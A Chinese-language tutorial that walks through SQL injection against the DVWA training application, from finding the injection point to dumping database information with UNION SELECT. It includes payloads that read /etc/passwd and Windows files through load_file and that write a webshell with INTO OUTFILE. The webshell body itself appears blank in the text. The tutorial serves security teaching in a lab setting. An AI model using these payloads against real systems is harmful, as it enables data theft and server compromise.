DVWA之從SQL注入到寫(xiě)入webshell
這篇文章談?wù)摵?jiǎn)單的技術(shù),利用sql注入(SQLi)漏洞,并獲得一個(gè)webshell,所有的演示都是用DVWA(滲透測(cè)試演練系統(tǒng))。對(duì)于SQL注入利用,有以下幾個(gè)基本步驟:
1,發(fā)現(xiàn)SQL注入點(diǎn);
2,通過(guò)mysql數(shù)據(jù)庫(kù)幫助,進(jìn)一步進(jìn)行注入,獲取帳號(hào)密碼等敏感信息;
3,上傳webshell,獲得一個(gè)反向連接。
本文所有的演示都是在DVWA(Dam Vulnerable Web Application)環(huán)境演示,DVWA是用PHP+Mysql編寫(xiě)的一套用于常規(guī)WEB漏洞教學(xué)和檢測(cè)的WEB脆弱性測(cè)試程序。包含了SQL注入、XSS、盲注等常見(jiàn)的一些安全漏洞. 安裝好之后,我們?cè)诒疚牡难菔局行枰O(shè)置腳本安全級(jí)別為low(低)。
1、發(fā)現(xiàn)SQL注入點(diǎn)
識(shí)別SQL注入是關(guān)鍵的一步,它需要大量的技能和經(jīng)驗(yàn)來(lái)確定注入點(diǎn)。通過(guò)適當(dāng)?shù)姆治鰬?yīng)用程序,可以判斷什么地方存在注入點(diǎn)。在下面的屏幕截圖所示,“ID”字段中可能會(huì)受到SQL注入。程序功能需要一個(gè)整數(shù)做為用戶輸入,提交之后會(huì)顯示該ID對(duì)應(yīng)的姓名。
當(dāng)我們?cè)谟脩鬒D中加一個(gè)單引號(hào)(‘),會(huì)看到產(chǎn)生了數(shù)據(jù)庫(kù)的報(bào)錯(cuò),本次演示使用的是mysql數(shù)據(jù)庫(kù)。
之所以產(chǎn)生錯(cuò)誤是因?yàn)?,輸入的用戶ID中,單引號(hào)不是一個(gè)整數(shù)類型的,導(dǎo)致后端SQL查詢產(chǎn)生了錯(cuò)誤,可以想象一下后端SQL查詢語(yǔ)句大概是這樣:
Mysql>select first_name,last_name from users where user_id=”;
如果輸入變成了非整數(shù)類型的單引號(hào),SQL語(yǔ)句就會(huì)變成如下:
MySQL> select first_name, last_name from users where user_id=”’ ;
因此,產(chǎn)生了一個(gè)語(yǔ)法錯(cuò)誤,所以注入點(diǎn)被確定為id字段。前端的該語(yǔ)句是會(huì)在后端的sql服務(wù)器進(jìn)行執(zhí)行的,這將使sql注入變?yōu)榭赡堋?/p>
2、通過(guò)mysql數(shù)據(jù)庫(kù)幫助,進(jìn)一步進(jìn)行注入,獲取帳號(hào)密碼等敏感信息;
進(jìn)一步嘗試猜測(cè)后端查詢語(yǔ)句,從而獲取mysql版本、數(shù)據(jù)庫(kù)名稱、列數(shù)等,通過(guò)前端的報(bào)錯(cuò)等我們猜測(cè)后端的查詢語(yǔ)句是這樣的:
Mysql>select first_name,last_name for user where user_id=1;
以上只是胡亂猜測(cè),我們需要通過(guò)mysql語(yǔ)句更進(jìn)一步的進(jìn)行測(cè)試,開(kāi)始使用order by 。order by 語(yǔ)句可以對(duì)查詢結(jié)果進(jìn)行排列,上面的語(yǔ)句中有兩列,使用order by 語(yǔ)句可以按照第一列first_name或者第二列l(wèi)ast_name對(duì)結(jié)果進(jìn)行排列。假如我們想根據(jù)第三列對(duì)結(jié)果進(jìn)行排序,因?yàn)椴樵冋Z(yǔ)句中不存在第三列,就會(huì)產(chǎn)生報(bào)錯(cuò):
ERROR 1054 (42S22): Unknown column ’3′ in ‘order clause’
當(dāng)我們使用order by 2的時(shí)候沒(méi)有產(chǎn)生任何錯(cuò)誤,而使用order by 3的時(shí)候產(chǎn)生報(bào)錯(cuò),說(shuō)明數(shù)據(jù)庫(kù)中只有兩列;通過(guò)這種方法我們可以使用order by語(yǔ)句猜測(cè)數(shù)據(jù)庫(kù)表中的列數(shù)。
user id輸入’ order by 3+–+的時(shí)候,后端SQL查詢語(yǔ)句如下:
Mysql>select first_name,last_name from user where user_id=”order by 3+–+’
可以看到因?yàn)椴淮嬖诘谌袝?huì)產(chǎn)生報(bào)錯(cuò)。
user id輸入’order by 2+–+的時(shí)候,后端查詢語(yǔ)句如下:
Mysql>select first_name,last_name from user where user_id=”order by 2+–+’
可以看到?jīng)]有產(chǎn)生任何錯(cuò)誤。
接下來(lái)進(jìn)一步使用union查詢語(yǔ)句
為什么要使用聯(lián)合查詢?
Union查詢結(jié)合了兩個(gè)select查詢結(jié)果,根據(jù)上文中的order by語(yǔ)句我們知道查詢包含兩列,為了能夠現(xiàn)實(shí)兩列查詢結(jié)果,我們需要用union查詢了結(jié)合我們構(gòu)造的另外一個(gè)select.注意在使用union查詢的時(shí)候需要和主查詢的列數(shù)相同。
MySQL> select first_name, last_name from users where user_id=”union select 1,2 ;
使用union select之后可以看到查詢結(jié)果顯示在了頁(yè)面上.
繼續(xù)構(gòu)造union select語(yǔ)句,來(lái)查詢正在使用中的用戶和數(shù)據(jù)庫(kù),用以下語(yǔ)句:
‘union select user(),database()+–+
‘union select session_user(),current_user()+–+
‘union select 1,version()+–+ 查詢數(shù)據(jù)庫(kù)的版本。
使用聯(lián)合查詢語(yǔ)句構(gòu)造,利用注入讀取/ect/passwd 文件(linux系統(tǒng))
‘UNION SELECT 1, load_file(/etc/passwd) +–+
使用聯(lián)合查詢語(yǔ)句構(gòu)造,利用注入讀取c:\1.txt (Windows系統(tǒng))
‘ UNION SELECT 1, load_file(‘c:\\1.txt’) +–+ 或者
‘ union select 1, load_file(‘c:\/1.txt’) +–+
3、利用sql注入寫(xiě)入webshell
假設(shè)我們通過(guò)phpinfo文件知道了網(wǎng)站的物理路徑,接下來(lái)我們通過(guò)使用union select語(yǔ)句來(lái)寫(xiě)入webshell.寫(xiě)入需要你有寫(xiě)入權(quán)限等。
‘ union select 1,’‘ INTO OUTFILE ‘/var/www/dvwa/cmd.php’ +–+
‘ union select 1,’’ into outfile ‘c:\\2.php’+–+
本文中用到的DVWA(滲透測(cè)試演練系統(tǒng)):http://www.kalinux.org 帳號(hào)密碼: admin password, 暫時(shí)因?yàn)榄h(huán)境不支持sql injection漏洞的演練。